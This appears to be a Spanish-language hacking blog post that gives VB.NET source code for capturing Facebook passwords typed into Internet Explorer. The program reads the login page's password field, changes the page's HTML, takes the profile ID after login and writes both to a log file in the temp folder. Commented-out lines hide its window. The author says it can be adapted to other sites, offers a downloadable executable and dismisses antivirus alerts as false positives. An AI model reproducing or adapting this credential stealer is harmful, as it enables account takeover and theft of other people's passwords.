miércoles, 31 de enero de 2018

[Codigo] Obtener Contraseñas De Facebook Con Un simple Programa

Hola amigos aquí les dejo el código fuente en vb.net para obtener contraseñas de facebook, ojo el programa puede tener errores y solo funciona con el navegador Internet Explorer con otros no.

Este programa captura el id del usuario y la contraseña, con el id podemos iniciar sesión, los datos son almacenados en la carpeta temporal del sistema, otra cosa este método funciona para otras paginas ya que Internet Explorer es muy vulnerable solo hay que modificar el código un poco




1- Ponemos un TextBox y lo llamamos log

2- Y también un timer y le dejamos el nombre por defecto


codigo
Imports mshtml
Public Class Form1
    
    Dim shellWins As SHDocVw.ShellWindows
    Dim web As SHDocVw.InternetExplorer
    Dim HTMLDoc As mshtml.HTMLDocument
    Dim pass, url As String
    Dim vv As Boolean = False
    Dim c As Integer = 0
    Dim tem As String = Environ("temp") & "\facebook_log.txt"
    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        Dim peso As Long
        If FileIO.FileSystem.FileExists(tem) Then
            peso = FileLen(tem)
        End If
        If peso = 0 Then
            peso = 1
        End If
        FileOpen(1, tem, OpenMode.Binary)
        FileSystem.Seek(1, peso)
        FilePut(1, log.Text)
        FileClose(1)
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        shellWins = New SHDocVw.ShellWindows
        Timer1.Interval = 1
        Timer1.Start()
        'Me.Opacity = 0
    End Sub

    

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        'On Error Resume Next
        Dim i As Integer
        Dim code, remplaso, original, id, titulo As String

        remplaso = "id=" & Chr(34) & "pass2" & Chr(34)
        original = "id=" & Chr(34) & "pass" & Chr(34)

        i = 0
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                i += 1
            End If
        Next
        c = 1
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                While web.Busy
                End While
                If c = i Then
                    HTMLDoc = web.Document
                    titulo = HTMLDoc.title
                    If InStr(titulo, "sesión") <> 0 And InStr(titulo, "Seguridad") = 0 Then
                        code = ""

                        code = HTMLDoc.body.innerHTML

                        If InStr(code, "Inicios de sesión recientes") <> 0 And InStr(code, remplaso) = 0 Then
                            HTMLDoc.body.innerHTML = Replace(code, original, remplaso, 1, 1)
                        End If


                        If HTMLDoc.getElementById("pass").value <> "" Then
                            pass = HTMLDoc.getElementById("pass").value
                        End If

                        vv = True
                    ElseIf InStr(titulo, "sesión") = 0 And titulo <> "" And vv And pass <> "" Then
                        vv = False
                        code = ""
                        code = HTMLDoc.body.innerHTML
                        i = InStr(code, "profile_pic_header_") + Len("profile_pic_header_")
                        id = ""
                        While Asc(Mid(code, i, 1)) > 47 And Asc(Mid(code, i, 1)) < 58
                            id = id & Mid(code, i, 1)
                            i += 1
                        End While
                        log.Text = log.Text & "La contraseña es: " & pass & vbCrLf
                        log.Text = log.Text & "El ProfileID es: " & id & vbCrLf
                        log.Text = log.Text & "=========================================================================" & vbCrLf
                        pass = ""
                    End If
                End If
                c += 1
            End If
        Next

    End Sub

    Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles Me.Shown
        ' Me.Hide()
        'Me.Opacity = 100
    End Sub
End Class


bueno ese es el código aquí les dejare el ejecutable, si el antivirus lo detecta es un falso positivo

Descargar Exe


Saludos Flamer

No hay comentarios.:

Publicar un comentario